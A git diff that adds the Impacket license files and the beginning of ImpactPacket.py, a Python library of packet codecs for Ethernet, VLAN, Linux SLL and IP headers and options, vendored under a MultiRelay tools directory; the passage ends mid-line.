+1,84 @@ +Licencing +--------- + +We provide this software under a slightly modified version of the +Apache Software License. The only changes to the document were the +replacement of "Apache" with "Impacket" and "Apache Software Foundation" +with "SecureAuth Corporation". Feel free to compare the resulting +document to the official Apache license. + +The `Apache Software License' is an Open Source Initiative Approved +License. + + +The Apache Software License, Version 1.1 +Modifications by SecureAuth Corporation (see above) + +Copyright (c) 2000 The Apache Software Foundation. All rights +reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + +3. The end-user documentation included with the redistribution, + if any, must include the following acknowledgment: + "This product includes software developed by + SecureAuth Corporation (https://www.secureauth.com/)." + Alternately, this acknowledgment may appear in the software itself, + if and wherever such third-party acknowledgments normally appear. + +4. The names "Impacket", "SecureAuth Corporation" must + not be used to endorse or promote products derived from this + software without prior written permission. For written + permission, please contact oss@secureauth.com. + +5. Products derived from this software may not be called "Impacket", + nor may "Impacket" appear in their name, without prior written + permission of SecureAuth Corporation. + +THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED +WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR +ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF +USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT +OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF +SUCH DAMAGE. + + + +Smb.py and nmb.py are based on Pysmb by Michael Teo +(https://miketeo.net/projects/pysmb/), and are distributed under the +following license: + +This software is provided 'as-is', without any express or implied +warranty. In no event will the author be held liable for any damages +arising from the use of this software. + +Permission is granted to anyone to use this software for any purpose, +including commercial applications, and to alter it and redistribute it +freely, subject to the following restrictions: + +1. The origin of this software must not be misrepresented; you must + not claim that you wrote the original software. If you use this + software in a product, an acknowledgment in the product + documentation would be appreciated but is not required. + +2. Altered source versions must be plainly marked as such, and must + not be misrepresented as being the original software. + +3. This notice cannot be removed or altered from any source + distribution. diff --git a/tools/MultiRelay/impacket-dev/impacket/ImpactPacket.py b/tools/MultiRelay/impacket-dev/impacket/ImpactPacket.py new file mode 100644 index 0000000..5e84c42 --- /dev/null +++ b/tools/MultiRelay/impacket-dev/impacket/ImpactPacket.py @@ -0,0 +1,2130 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Network packet codecs basic building blocks. +# Low-level packet codecs for various Internet protocols. +# +# Author: +# Javier Burroni (javier) +# Bruce Leidl (brl) +# Javier Kohen (jkohen) +from __future__ import division +from __future__ import print_function +import array +import struct +import socket +import string +import sys +from binascii import hexlify +from functools import reduce + +"""Classes to build network packets programmatically. + +Each protocol layer is represented by an object, and these objects are +hierarchically structured to form a packet. This list is traversable +in both directions: from parent to child and vice versa. + +All objects can be turned back into a raw buffer ready to be sent over +the wire (see method get_packet). +""" + +class ImpactPacketException(Exception): + def __init__(self, value): + self.value = value + def __str__(self): + return repr(self.value) + +class PacketBuffer(object): + """Implement the basic operations utilized to operate on a + packet's raw buffer. All the packet classes derive from this one. + + The byte, word, long and ip_address getters and setters accept + negative indexes, having these the a similar effect as in a + regular Python sequence slice. + """ + + def __init__(self, length = None): + "If 'length' is specified the buffer is created with an initial size" + if length: + self.__bytes = array.array('B', b'\0' * length) + else: + self.__bytes = array.array('B') + + def set_bytes_from_string(self, data): + "Sets the value of the packet buffer from the string 'data'" + self.__bytes = array.array('B', data) + + def get_buffer_as_string(self): + "Returns the packet buffer as a string object" + return self.__bytes.tostring() + + def get_bytes(self): + "Returns the packet buffer as an array" + return self.__bytes + + def set_bytes(self, bytes): + "Set the packet buffer from an array" + # Make a copy to be safe + self.__bytes = array.array('B', bytes.tolist()) + + def set_byte(self, index, value): + "Set byte at 'index' to 'value'" + index = self.__validate_index(index, 1) + self.__bytes[index] = value + + def get_byte(self, index): + "Return byte at 'index'" + index = self.__validate_index(index, 1) + return self.__bytes[index] + + def set_word(self, index, value, order = '!'): + "Set 2-byte word at 'index' to 'value'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 2) + ary = array.array("B", struct.pack(order + 'H', value)) + if -2 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+2] = ary + + def get_word(self, index, order = '!'): + "Return 2-byte word at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 2) + if -2 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+2] + (value,) = struct.unpack(order + 'H', bytes.tostring()) + return value + + def set_long(self, index, value, order = '!'): + "Set 4-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 4) + ary = array.array("B", struct.pack(order + 'L', value)) + if -4 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+4] = ary + + def get_long(self, index, order = '!'): + "Return 4-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 4) + if -4 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+4] + (value,) = struct.unpack(order + 'L', bytes.tostring()) + return value + + def set_long_long(self, index, value, order = '!'): + "Set 8-byte 'value' at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 8) + ary = array.array("B", struct.pack(order + 'Q', value)) + if -8 == index: + self.__bytes[index:] = ary + else: + self.__bytes[index:index+8] = ary + + def get_long_long(self, index, order = '!'): + "Return 8-byte value at 'index'. See struct module's documentation to understand the meaning of 'order'." + index = self.__validate_index(index, 8) + if -8 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+8] + (value,) = struct.unpack(order + 'Q', bytes.tostring()) + return value + + + def get_ip_address(self, index): + "Return 4-byte value at 'index' as an IP string" + index = self.__validate_index(index, 4) + if -4 == index: + bytes = self.__bytes[index:] + else: + bytes = self.__bytes[index:index+4] + return socket.inet_ntoa(bytes.tostring()) + + def set_ip_address(self, index, ip_string): + "Set 4-byte value at 'index' from 'ip_string'" + index = self.__validate_index(index, 4) + raw = socket.inet_aton(ip_string) + (b1,b2,b3,b4) = struct.unpack("BBBB", raw) + self.set_byte(index, b1) + self.set_byte(index + 1, b2) + self.set_byte(index + 2, b3) + self.set_byte(index + 3, b4) + + def set_checksum_from_data(self, index, data): + "Set 16-bit checksum at 'index' by calculating checksum of 'data'" + self.set_word(index, self.compute_checksum(data)) + + def compute_checksum(self, anArray): + "Return the one's complement of the one's complement sum of all the 16-bit words in 'anArray'" + nleft = len(anArray) + sum = 0 + pos = 0 + while nleft > 1: + sum = anArray[pos] * 256 + (anArray[pos + 1] + sum) + pos = pos + 2 + nleft = nleft - 2 + if nleft == 1: + sum = sum + anArray[pos] * 256 + return self.normalize_checksum(sum) + + def normalize_checksum(self, aValue): + sum = aValue + sum = (sum >> 16) + (sum & 0xFFFF) + sum += (sum >> 16) + sum = (~sum & 0xFFFF) + return sum + + def __validate_index(self, index, size): + """This method performs two tasks: to allocate enough space to + fit the elements at positions index through index+size, and to + adjust negative indexes to their absolute equivalent. + """ + + orig_index = index + + curlen = len(self.__bytes) + if index < 0: + index = curlen + index + + diff = index + size - curlen + if diff > 0: + self.__bytes.fromstring('\0' * diff) + if orig_index < 0: + orig_index -= diff + + return orig_index + +class ProtocolLayer(): + "Protocol Layer Manager for insertion and removal of protocol layers." + + __child = None + __parent = None + + def contains(self, aHeader): + "Set 'aHeader' as the child of this protocol layer" + self.__child = aHeader + aHeader.set_parent(self) + + def set_parent(self, my_parent): + "Set the header 'my_parent' as the parent of this protocol layer" + self.__parent = my_parent + + def child(self): + "Return the child of this protocol layer" + return self.__child + + def parent(self): + "Return the parent of this protocol layer" + return self.__parent + + def unlink_child(self): + "Break the hierarchy parent/child child/parent" + if self.__child: + self.__child.set_parent(None) + self.__child = None + +class ProtocolPacket(ProtocolLayer): + __HEADER_SIZE = 0 + __BODY_SIZE = 0 + __TAIL_SIZE = 0 + + __header = None + __body = None + __tail = None + + def __init__(self, header_size, tail_size): + self.__HEADER_SIZE = header_size + self.__TAIL_SIZE = tail_size + self.__header=PacketBuffer(self.__HEADER_SIZE) + self.__body=PacketBuffer() + self.__tail=PacketBuffer(self.__TAIL_SIZE) + + def __update_body_from_child(self): + # Update child raw packet in my body + if self.child(): + body=self.child().get_packet() + self.__BODY_SIZE=len(body) + self.__body.set_bytes_from_string(body) + + def __get_header(self): + return self.__header + + header = property(__get_header) + + def __get_body(self): + self.__update_body_from_child() + return self.__body + + body = property(__get_body) + + def __get_tail(self): + return self.__tail + + tail = property(__get_tail) + + def get_header_size(self): + "Return frame header size" + return self.__HEADER_SIZE + + def get_tail_size(self): + "Return frame tail size" + return self.__TAIL_SIZE + + def get_body_size(self): + "Return frame body size" + self.__update_body_from_child() + return self.__BODY_SIZE + + def get_size(self): + "Return frame total size" + return self.get_header_size()+self.get_body_size()+self.get_tail_size() + + def load_header(self, aBuffer): + self.__HEADER_SIZE=len(aBuffer) + self.__header.set_bytes_from_string(aBuffer) + + def load_body(self, aBuffer): + "Load the packet body from string. "\ + "WARNING: Using this function will break the hierarchy of preceding protocol layer" + self.unlink_child() + self.__BODY_SIZE=len(aBuffer) + self.__body.set_bytes_from_string(aBuffer) + + def load_tail(self, aBuffer): + self.__TAIL_SIZE=len(aBuffer) + self.__tail.set_bytes_from_string(aBuffer) + + def __extract_header(self, aBuffer): + self.load_header(aBuffer[:self.__HEADER_SIZE]) + + def __extract_body(self, aBuffer): + if self.__TAIL_SIZE<=0: + end=None + else: + end=-self.__TAIL_SIZE + self.__BODY_SIZE=len(aBuffer[self.__HEADER_SIZE:end]) + self.__body.set_bytes_from_string(aBuffer[self.__HEADER_SIZE:end]) + + def __extract_tail(self, aBuffer): + if self.__TAIL_SIZE<=0: + # leave the array empty + return + else: + start=-self.__TAIL_SIZE + self.__tail.set_bytes_from_string(aBuffer[start:]) + + def load_packet(self, aBuffer): + "Load the whole packet from a string" \ + "WARNING: Using this function will break the hierarchy of preceding protocol layer" + self.unlink_child() + + self.__extract_header(aBuffer) + self.__extract_body(aBuffer) + self.__extract_tail(aBuffer) + + def get_header_as_string(self): + return self.__header.get_buffer_as_string() + + def get_body_as_string(self): + self.__update_body_from_child() + return self.__body.get_buffer_as_string() + body_string = property(get_body_as_string) + + def get_tail_as_string(self): + return self.__tail.get_buffer_as_string() + tail_string = property(get_tail_as_string) + + def get_packet(self): + self.__update_body_from_child() + + ret = b'' + + header = self.get_header_as_string() + if header: + ret += header + + body = self.get_body_as_string() + if body: + ret += body + + tail = self.get_tail_as_string() + if tail: + ret += tail + + return ret + +class Header(PacketBuffer,ProtocolLayer): + "This is the base class from which all protocol definitions extend." + + packet_printable = [c for c in string.printable if c not in string.whitespace] + [' '] + + ethertype = None + protocol = None + def __init__(self, length = None): + PacketBuffer.__init__(self, length) + self.auto_checksum = 1 + + def get_data_as_string(self): + "Returns all data from children of this header as string" + + if self.child(): + return self.child().get_packet() + else: + return None + + def get_packet(self): + """Returns the raw representation of this packet and its + children as a string. The output from this method is a packet + ready to be transmitted over the wire. + """ + self.calculate_checksum() + + data = self.get_data_as_string() + if data: + return self.get_buffer_as_string() + data + else: + return self.get_buffer_as_string() + + def get_size(self): + "Return the size of this header and all of it's children" + tmp_value = self.get_header_size() + if self.child(): + tmp_value = tmp_value + self.child().get_size() + return tmp_value + + def calculate_checksum(self): + "Calculate and set the checksum for this header" + pass + + def get_pseudo_header(self): + "Pseudo headers can be used to limit over what content will the checksums be calculated." + # default implementation returns empty array + return array.array('B') + + def load_header(self, aBuffer): + "Properly set the state of this instance to reflect that of the raw packet passed as argument." + self.set_bytes_from_string(aBuffer) + hdr_len = self.get_header_size() + if(len(aBuffer) < hdr_len): #we must do something like this + diff = hdr_len - len(aBuffer) + for i in range(0, diff): + aBuffer += '\x00' + self.set_bytes_from_string(aBuffer[:hdr_len]) + + def get_header_size(self): + "Return the size of this header, that is, not counting neither the size of the children nor of the parents." + raise RuntimeError("Method %s.get_header_size must be overridden." % self.__class__) + + def list_as_hex(self, aList): + if len(aList): + ltmp = [] + line = [] + count = 0 + for byte in aList: + if not (count % 2): + if (count % 16): + ltmp.append(' ') + else: + ltmp.append(' '*4) + ltmp.append(''.join(line)) + ltmp.append('\n') + line = [] + if chr(byte) in Header.packet_printable: + line.append(chr(byte)) + else: + line.append('.') + ltmp.append('%.2x' % byte) + count += 1 + if (count%16): + left = 16 - (count%16) + ltmp.append(' ' * (4+(left // 2) + (left*2))) + ltmp.append(''.join(line)) + ltmp.append('\n') + return ltmp + else: + return [] + + def __str__(self): + ltmp = self.list_as_hex(self.get_bytes().tolist()) + + if self.child(): + ltmp.append(['\n', str(self.child())]) + + if len(ltmp)>0: + return ''.join(ltmp) + else: + return '' + + + +class Data(Header): + """This packet type can hold raw data. It's normally employed to + hold a packet's innermost layer's contents in those cases for + which the protocol details are unknown, and there's a copy of a + valid packet available. + + For instance, if all that's known about a certain protocol is that + a UDP packet with its contents set to "HELLO" initiate a new + session, creating such packet is as simple as in the following code + fragment: + packet = UDP() + packet.contains('HELLO') + """ + + def __init__(self, aBuffer = None): + Header.__init__(self) + if aBuffer: + self.set_data(aBuffer) + + def set_data(self, data): + self.set_bytes_from_string(data) + + def get_size(self): + return len(self.get_bytes()) + + +class EthernetTag(PacketBuffer): + """Represents a VLAN header specified in IEEE 802.1Q and 802.1ad. + Provides methods for convenient manipulation with header fields.""" + + def __init__(self, value=0x81000000): + PacketBuffer.__init__(self, 4) + self.set_long(0, value) + + def get_tpid(self): + """Returns Tag Protocol Identifier""" + return self.get_word(0) + + def set_tpid(self, value): + """Sets Tag Protocol Identifier""" + return self.set_word(0, value) + + def get_pcp(self): + """Returns Priority Code Point""" + return (self.get_byte(2) & 0xE0) >> 5 + + def set_pcp(self, value): + """Sets Priority Code Point""" + orig_value = self.get_byte(2) + self.set_byte(2, (orig_value & 0x1F) | ((value & 0x07) << 5)) + + def get_dei(self): + """Returns Drop Eligible Indicator""" + return (self.get_byte(2) & 0x10) >> 4 + + def set_dei(self, value): + """Sets Drop Eligible Indicator""" + orig_value = self.get_byte(2) + self.set_byte(2, orig_value | 0x10 if value else orig_value & 0xEF) + + def get_vid(self): + """Returns VLAN Identifier""" + return self.get_word(2) & 0x0FFF + + def set_vid(self, value): + """Sets VLAN Identifier""" + orig_value = self.get_word(2) + self.set_word(2, (orig_value & 0xF000) | (value & 0x0FFF)) + + def __str__(self): + priorities = ( + 'Best Effort', + 'Background', + 'Excellent Effort', + 'Critical Applications', + 'Video, < 100 ms latency and jitter', + 'Voice, < 10 ms latency and jitter', + 'Internetwork Control', + 'Network Control') + + pcp = self.get_pcp() + return '\n'.join(( + '802.1Q header: 0x{0:08X}'.format(self.get_long(0)), + 'Priority Code Point: {0} ({1})'.format(pcp, priorities[pcp]), + 'Drop Eligible Indicator: {0}'.format(self.get_dei()), + 'VLAN Identifier: {0}'.format(self.get_vid()))) + + +class Ethernet(Header): + def __init__(self, aBuffer = None): + Header.__init__(self, 14) + self.tag_cnt = 0 + if(aBuffer): + self.load_header(aBuffer) + + def set_ether_type(self, aValue): + "Set ethernet data type field to 'aValue'" + self.set_word(12 + 4*self.tag_cnt, aValue) + + def get_ether_type(self): + "Return ethernet data type field" + return self.get_word(12 + 4*self.tag_cnt) + + def get_tag(self, index): + """Returns an EthernetTag initialized from index-th VLAN tag. + The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame. + It is possible to use negative indexes as well.""" + index = self.__validate_tag_index(index) + return EthernetTag(self.get_long(12+4*index)) + + def set_tag(self, index, tag): + """Sets the index-th VLAN tag to contents of an EthernetTag object. + The tags are numbered from 0 to self.tag_cnt-1 as they appear in the frame. + It is possible to use negative indexes as well.""" + index = self.__validate_tag_index(index) + pos = 12 + 4*index + for i,val in enumerate(tag.get_bytes()): + self.set_byte(pos+i, val) + + def push_tag(self, tag, index=0): + """Inserts contents of an EthernetTag object before the index-th VLAN tag. + Index defaults to 0 (the top of the stack).""" + if index < 0: + index += self.tag_cnt + pos = 12 + 4*max(0, min(index, self.tag_cnt)) + data = self.get_bytes() + data[pos:pos] = tag.get_bytes() + self.set_bytes(data) + self.tag_cnt += 1 + + def pop_tag(self, index=0): + """Removes the index-th VLAN tag and returns it as an EthernetTag object. + Index defaults to 0 (the top of the stack).""" + index = self.__validate_tag_index(index) + pos = 12 + 4*index + tag = self.get_long(pos) + data = self.get_bytes() + del data[pos:pos+4] + self.set_bytes(data) + self.tag_cnt -= 1 + return EthernetTag(tag) + + def load_header(self, aBuffer): + self.tag_cnt = 0 + while aBuffer[12+4*self.tag_cnt:14+4*self.tag_cnt] in (b'\x81\x00', b'\x88\xa8', b'\x91\x00'): + self.tag_cnt += 1 + + hdr_len = self.get_header_size() + diff = hdr_len - len(aBuffer) + if diff > 0: + aBuffer += b'\x00'*diff + self.set_bytes_from_string(aBuffer[:hdr_len]) + + def get_header_size(self): + "Return size of Ethernet header" + return 14 + 4*self.tag_cnt + + def get_packet(self): + + if self.child(): + try: + self.set_ether_type(self.child().ethertype) + except: + " an Ethernet packet may have a Data() " + pass + return Header.get_packet(self) + + def get_ether_dhost(self): + "Return 48 bit destination ethernet address as a 6 byte array" + return self.get_bytes()[0:6] + + def set_ether_dhost(self, aValue): + "Set destination ethernet address from 6 byte array 'aValue'" + for i in range(0, 6): + self.set_byte(i, aValue[i]) + + def get_ether_shost(self): + "Return 48 bit source ethernet address as a 6 byte array" + return self.get_bytes()[6:12] + + def set_ether_shost(self, aValue): + "Set source ethernet address from 6 byte array 'aValue'" + for i in range(0, 6): + self.set_byte(i + 6, aValue[i]) + + @staticmethod + def as_eth_addr(anArray): + tmp_list = [x > 15 and '%x'%x or '0%x'%x for x in anArray] + return '' + reduce(lambda x, y: x+':'+y, tmp_list) + + def __str__(self): + tmp_str = 'Ether: ' + self.as_eth_addr(self.get_ether_shost()) + ' -> ' + tmp_str += self.as_eth_addr(self.get_ether_dhost()) + if self.child(): + tmp_str += '\n' + str( self.child()) + return tmp_str + + def __validate_tag_index(self, index): + """Adjusts negative indices to their absolute equivalents. + Raises IndexError when out of range <0, self.tag_cnt-1>.""" + if index < 0: + index += self.tag_cnt + if index < 0 or index >= self.tag_cnt: + raise IndexError("Tag index out of range") + return index + +# Linux "cooked" capture encapsulation. +# Used, for instance, for packets returned by the "any" interface. +class LinuxSLL(Header): + type_descriptions = [ + "sent to us by somebody else", + "broadcast by somebody else", + "multicast by somebody else", + "sent to somebody else to somebody else", + "sent by us", + ] + + def __init__(self, aBuffer = None): + Header.__init__(self, 16) + if (aBuffer): + self.load_header(aBuffer) + + def set_type(self, type): + "Sets the packet type field to type" + self.set_word(0, type) + + def get_type(self): + "Returns the packet type field" + return self.get_word(0) + + def set_arphdr(self, value): + "Sets the ARPHDR value for the link layer device type" + self.set_word(2, type) + + def get_arphdr(self): + "Returns the ARPHDR value for the link layer device type" + return self.get_word(2) + + def set_addr_len(self, len): + "Sets the length of the sender's address field to len" + self.set_word(4, len) + + def get_addr_len(self): + "Returns the length of the sender's address field" + return self.get_word(4) + + def set_addr(self, addr): + "Sets the sender's address field to addr. Addr must be at most 8-byte long." + if (len(addr) < 8): + addr += b'\0' * (8 - len(addr)) + self.get_bytes()[6:14] = addr + + def get_addr(self): + "Returns the sender's address field" + return self.get_bytes()[6:14].tostring() + + def set_ether_type(self, aValue): + "Set ethernet data type field to 'aValue'" + self.set_word(14, aValue) + + def get_ether_type(self): + "Return ethernet data type field" + return self.get_word(14) + + def get_header_size(self): + "Return size of packet header" + return 16 + + def get_packet(self): + if self.child(): + self.set_ether_type(self.child().ethertype) + return Header.get_packet(self) + + def get_type_desc(self): + type = self.get_type() + if type < len(LinuxSLL.type_descriptions): + return LinuxSLL.type_descriptions[type] + else: + return "Unknown" + + def __str__(self): + ss = [] + alen = self.get_addr_len() + addr = hexlify(self.get_addr()[0:alen]) + ss.append("Linux SLL: addr=%s type=`%s'" % (addr, self.get_type_desc())) + if self.child(): + ss.append(str(self.child())) + + return '\n'.join(ss) + + +class IP(Header): + ethertype = 0x800 + def __init__(self, aBuffer = None): + Header.__init__(self, 20) + self.set_ip_v(4) + self.set_ip_hl(5) + self.set_ip_ttl(255) + self.__option_list = [] + if(aBuffer): + # When decoding, checksum shouldn't be modified + self.auto_checksum = 0 + self.load_header(aBuffer) + + if sys.platform.count('bsd'): + self.is_BSD = True + else: + self.is_BSD = False + + + def get_packet(self): + # set protocol + if self.get_ip_p() == 0 and self.child(): + self.set_ip_p(self.child().protocol) + + # set total length + if self.get_ip_len() == 0: + self.set_ip_len(self.get_size()) + + child_data = self.get_data_as_string() + + if self.auto_checksum: + self.reset_ip_sum() + + my_bytes = self.get_bytes() + + for op in self.__option_list: + my_bytes.extend(op.get_bytes()) + + # Pad to a multiple of 4 bytes + num_pad = (4 - (len(my_bytes) % 4)) % 4 + if num_pad: + my_bytes.fromstring(b"\0"* num_pad) + + # only change ip_hl value if options are present + if len(self.__option_list): + self.set_ip_hl(len(my_bytes) // 4) + + + # set the checksum if the user hasn't modified it + if self.auto_checksum: + self.set_ip_sum(self.compute_checksum(my_bytes)) + + if child_data is None: + return my_bytes.tostring() + else: + return my_bytes.tostring() + child_data + + + + # def calculate_checksum(self, buffer = None): + # tmp_value = self.get_ip_sum() + # if self.auto_checksum and (not tmp_value): + # if buffer: + # tmp_bytes = buffer + # else: + # tmp_bytes = self.bytes[0:self.get_header_size()] + # + # self.set_ip_sum(self.compute_checksum(tmp_bytes)) + + + def get_pseudo_header(self): + pseudo_buf = array.array("B") + pseudo_buf.extend(self.get_bytes()[12:20]) + pseudo_buf.fromlist([0]) + pseudo_buf.extend(self.get_bytes()[9:10]) + tmp_size = self.child().get_size() + + size_str = struct.pack("!H", tmp_size) + + pseudo_buf.fromstring(size_str) + return pseudo_buf + + def add_option(self, option): + self.__option_list.append(option) + sum = 0 + for op in self.__option_list: + sum += op.get_len() + if sum > 40: + raise ImpactPacketException("Options overflowed in IP packet with length: %d" % sum) + + + def get_ip_v(self): + n = self.get_byte(0) + return (n >> 4) + + def set_ip_v(self, value): + n = self.get_byte(0) + version = value & 0xF + n = n & 0xF + n = n | (version << 4) + self.set_byte(0, n) + + def get_ip_hl(self): + n = self.get_byte(0) + return (n & 0xF) + + def set_ip_hl(self, value): + n = self.get_byte(0) + len = value & 0xF + n = n & 0xF0 + n = (n | len) + self.set_byte(0, n) + + def get_ip_tos(self): + return self.get_byte(1) + + def set_ip_tos(self,value): + self.set_byte(1, value) + + def get_ip_len(self): + if self.is_BSD: + return self.get_word(2, order = '=') + else: + return self.get_word(2) + + def set_ip_len(self, value): + if self.is_BSD: + self.set_word(2, value, order = '=') + else: + self.set_word(2, value) + + def get_ip_id(self): + return self.get_word(4) + def set_ip_id(self, value): + return self.set_word(4, value) + + def get_ip_off(self): + if self.is_BSD: + return self.get_word(6, order = '=') + else: + return self.get_word(6) + + def set_ip_off(self, aValue): + if self.is_BSD: + self.set_word(6, aValue, order = '=') + else: + self.set_word(6, aValue) + + def get_ip_offmask(self): + return self.get_ip_off() & 0x1FFF + + def set_ip_offmask(self, aValue): + tmp_value = self.get_ip_off() & 0xD000 + tmp_value |= aValue + self.set_ip_off(tmp_value) + + def get_ip_rf(self): + return self.get_ip_off() & 0x8000 + + def set_ip_rf(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x8000 + else: + my_not = 0xFFFF ^ 0x8000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + def get_ip_df(self): + return self.get_ip_off() & 0x4000 + + def set_ip_df(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x4000 + else: + my_not = 0xFFFF ^ 0x4000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + def get_ip_mf(self): + return self.get_ip_off() & 0x2000 + + def set_ip_mf(self, aValue): + tmp_value = self.get_ip_off() + if aValue: + tmp_value |= 0x2000 + else: + my_not = 0xFFFF ^ 0x2000 + tmp_value &= my_not + self.set_ip_off(tmp_value) + + + def fragment_by_list(self, aList): + if self.child(): + proto = self.child().protocol + else: + proto = 0 + + child_data = self.get_data_as_string() + if not child_data: + return [self] + + ip_header_bytes = self.get_bytes() + current_offset = 0 + fragment_list = [] + + for frag_size in aList: + ip = IP() + ip.set_bytes(ip_header_bytes) # copy of original header + ip.set_ip_p(proto) + + + if frag_size % 8: # round this fragment size up to next multiple of 8 + frag_size += 8 - (frag_size % 8) + + + ip.set_ip_offmask(current_offset // 8) + current_offset += frag_size + + data = Data(child_data[:frag_size]) + child_data = child_data[frag_size:] + + ip.set_ip_len(20 + data.get_size()) + ip.contains(data) + + + if child_data: + + ip.set_ip_mf(1) + + fragment_list.append(ip) + else: # no more data bytes left to add to fragments + + ip.set_ip_mf(0) + + fragment_list.append(ip) + return fragment_list + + if child_data: # any remaining data? + # create a fragment containing all of the remaining child_data + ip = IP() + ip.set_bytes(ip_header_bytes) + ip.set_ip_offmask(current_offset) + ip.set_ip_len(20 + len(child_data)) + data = Data(child_data) + ip.contains(data) + fragment_list.append(ip) + + return fragment_list + + + def fragment_by_size(self, aSize): + data_len = len(self.get_data_as_string()) + num_frags = data_len // aSize + + if data_len % aSize: + num_frags += 1 + + size_list = [] + for i in range(0, num_frags): + size_list.append(aSize) + return self.fragment_by_list(size_list) + + + def get_ip_ttl(self): + return self.get_byte(8) + def set_ip_ttl(self, value): + self.set_byte(8, value) + + def get_ip_p(self): + return self.get_byte(9) + + def set_ip_p(self, value): + self.set_byte(9, value) + + def get_ip_sum(self): + return self.get_word(10) + def set_ip_sum(self, value): + self.auto_checksum = 0 + self.set_word(10, value) + + def reset_ip_sum(self): + self.set_ip_sum(0x0000) + self.auto_checksum = 1 + + def get_ip_src(self): + return self.get_ip_address(12) + def set_ip_src(self, value): + self.set_ip_address(12, value) + + def get_ip_dst(self): + return self.get_ip_address(16) + + def set_ip_dst(self, value): + self.set_ip_address(16, value) + + def get_header_size(self): + op_len = 0 + for op in self.__option_list: + op_len += op.get_len() + + num_pad = (4 - (op_len % 4)) % 4 + + return 20 + op_len + num_pad + + def load_header(self, aBuffer): + self.set_bytes_from_string(aBuffer[:20]) + opt_left = (self.get_ip_hl() - 5) * 4 + opt_bytes = array.array('B', aBuffer[20:(20 + opt_left)]) + if len(opt_bytes) != opt_left: + raise ImpactPacketException("Cannot load options from truncated packet") + + + while opt_left: + op_type = opt_bytes[0] + if op_type == IPOption.IPOPT_EOL or op_type == IPOption.IPOPT_NOP: + new_option = IPOption(op_type) + op_len = 1 + else: + op_len = opt_bytes[1] + if op_len > len(opt_bytes): + raise ImpactPacketException("IP Option length is too high") + + new_option = IPOption(op_type, op_len) + new_option.set_bytes(opt_bytes[:op_len]) + + opt_bytes = opt_bytes[op_len:] + opt_left -= op_len + self.add_option(new_option) + if op_type == IPOption.IPOPT_EOL: + break + + + def __str__(self): + flags = ' ' + if self.get_ip_df(): + flags += 'DF ' + if self.get_ip_mf(): + flags += 'MF ' + if self.get_ip_rf(): + flags += 'RF ' + tmp_str = 'IP%s%s -> %s ' % (flags, self.get_ip_src(),self.get_ip_dst()) + for op in self.__option_list: + tmp_str += '\n' + str(op) + if self.child(): + tmp_str += '\n' + str(self.child()) + return tmp_str + + +class IPOption(PacketBuffer): + IPOPT_EOL = 0 + IPOPT_NOP = 1 + IPOPT_RR = 7 + IPOPT_TS = 68 + IPOPT_LSRR = 131 + IPOPT_SSRR = 137 + + def __init__(self, opcode = 0, size = None): + if size and (size < 3 or size > 40): + raise ImpactPacketException("IP Options must have a size between 3 and 40 bytes") + + if(opcode == IPOption.IPOPT_EOL): + PacketBuffer.__init__(self, 1) + self.set_code(IPOption.IPOPT_EOL) + elif(opcode == IPOption.IPOPT_NOP): + PacketBuffer.__init__(self, 1) + self.set_code(IPOption.IPOPT_NOP) + elif(opcode == IPOption.IPOPT_RR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_RR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_LSRR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_LSRR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_SSRR): + if not size: + size = 39 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_SSRR) + self.set_len(size) + self.set_ptr(4) + + elif(opcode == IPOption.IPOPT_TS): + if not size: + size = 40 + PacketBuffer.__init__(self, size) + self.set_code(IPOption.IPOPT_TS) + self.set_len(size) + self.set_ptr(5) + self.set_flags(0) + else: + if not size: + raise ImpactPacketException("Size required for this type") + PacketBuffer.__init__(self,size) + self.set_code(opcode) + self.set_len(size) + + + def append_ip(self, ip): + op = self.get_code() + if not (op == IPOption.IPOPT_RR or op == IPOption.IPOPT_LSRR or op == IPOption.IPOPT_SSRR or op == 